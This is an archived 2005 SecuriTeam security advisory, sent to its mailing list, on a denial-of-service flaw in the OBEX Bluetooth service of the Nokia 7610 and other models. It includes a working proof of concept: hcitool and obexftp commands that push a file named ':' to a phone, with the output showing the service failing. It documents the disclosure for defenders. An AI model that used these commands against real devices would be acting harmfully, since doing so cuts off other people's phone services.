

[NEWS] Nokia OBEX DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0115.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 09/29/05

To: list@securiteam.com

Date: 29 Sep 2005 15:17:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Nokia OBEX DoS

SUMMARY

OBEX – "Object Exchange: a set of high-level protocols allowing objects such as vCard contact information and vCalendar schedule entries to be exchanged using either IrDA (IrOBEX) or Bluetooth. Symbian OS implements IrOBEX".

A flaw in the OBEX implementation of Nokia 7610 and other models, allows attackers to disable the OBEX service by sending archives that contain the name ":" or "\".

DETAILS

Vulnerable Systems:

- * Nokia 7610, Nokia 3210

- * OBEX implementation in Nokia 7610 (V4.0.437 15-09-04 RH51)

Proof of concept:

```
jim:~# hcitool scan
```

```
Scanning ...
```

```
00:13:70:5E:1F:01 7610
```

```
jim:~# obexftp -b 00:13:70:5E:1F:01 -p \:
```

Securiteam: [NEWS] Nokia OBEX DoS

```
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT 1
cli_sync_request()
obexftp_sync()
client_done()
client_done() Found connection number: -1022384746
client_done() Sender identified
obexftp_sync() OBEX_HandleInput = 31
obexftp_sync() Done success=1
done
Sending ":"... obexftp_put_file() Sending : -> :
build_object_from_file() Lastmod = 2005-09-18T00:16:42Z
cli_sync_request()
cli_fillstream_from_file()
cli_fillstream_from_file() Read 6 bytes
cli_fillstream_from_file()
cli_fillstream_from_file() Read 0 bytes
obexftp_sync()
obexftp_sync() OBEX_HandleInput = 0
failed: :
obexftp_cli_disconnect()
Disconnecting...cli_sync_request()
failed: disconnect
obexftp_cli_close()
```

Error pushing other file after send ":" filename:

```
jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
```

Disclosure Timeline:
20.09.2005 – Bug found

Securiteam: [NEWS] Nokia OBEX DoS

21.09.2005 – Nokia security contacted

24.09.2005 – Disclosure in NCN – V congress (<http://www.noconname.org>)

26.09.2005 – Full disclosure

ADDITIONAL INFORMATION

The information has been provided by <mailto:aramosf@unsec.net> A. Ramos..

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.